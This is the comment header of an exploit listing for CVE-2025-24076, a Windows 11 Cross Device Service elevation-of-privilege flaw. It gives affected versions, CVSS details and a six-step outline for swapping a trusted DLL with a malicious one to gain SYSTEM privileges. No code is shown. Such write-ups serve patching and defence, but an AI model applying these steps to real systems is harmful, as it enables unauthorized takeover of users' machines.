# Exploit Title: Microsoft Windows 11 Version 24H2 Cross Device Service - Elevation of Privilege
# Author: Mohammed Idrees Banyamer
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Date: 2025-06-06
# Tested on: Windows 11 Version 24H2 for x64-based Systems (10.0.26100.3476)
# CVE: CVE-2025-24076
#
# Affected Versions:
# - Windows 11 Version 24H2 (x64 and ARM64)
# - Windows 11 Version 23H2 (x64 and ARM64)
# - Windows 11 Version 22H2 (x64 and ARM64)
# - Windows Server 2025
# - Windows Server 2022 23H2 (Server Core installation)
#
# Type: Elevation of Privilege
# Platform: Microsoft Windows
# Author Country: Jordan
# CVSS v3.1 Score: 7.3 (Important)
# Weakness: CWE-284: Improper Access Control
# Attack Vector: Local
# Privileges Required: Low
# User Interaction: Required
# Scope: Unchanged
# Confidentiality, Integrity, Availability Impact: High
# Exploit Code Maturity: Unproven
# Remediation Level: Official Fix
# Description:
# This vulnerability affects Microsoft Windows 11 (various versions including 24H2, 23H2, and 22H2)
# and Windows Server 2025. It targets improper access control in the Windows Cross Device Service,
# allowing a low-privileged local attacker to overwrite a critical DLL file (CrossDevice.Streaming.Source.dll)
# in a writable directory. After triggering user interaction by opening Windows "Mobile devices" Settings,
# the attacker can replace the DLL with a malicious version, leading to SYSTEM privilege escalation.
#
# Steps of exploitation:
# 1. Verify the presence of the vulnerable DLL in the writable directory.
# 2. Build a malicious DLL that executes code with SYSTEM privileges upon loading.
# 3. Backup the original DLL to allow recovery.
# 4. Trigger the DLL load by instructing the user to open the "Mobile devices" Settings page.
# 5. Wait until the DLL is unlocked and replace it with the malicious DLL.
# 6. Achieve SYSTEM privileges when the system loads the malicious DLL.
#
# This exploit requires low privileges and user interaction but has low attack complexity
# and results in high impact due to full privilege escalation.
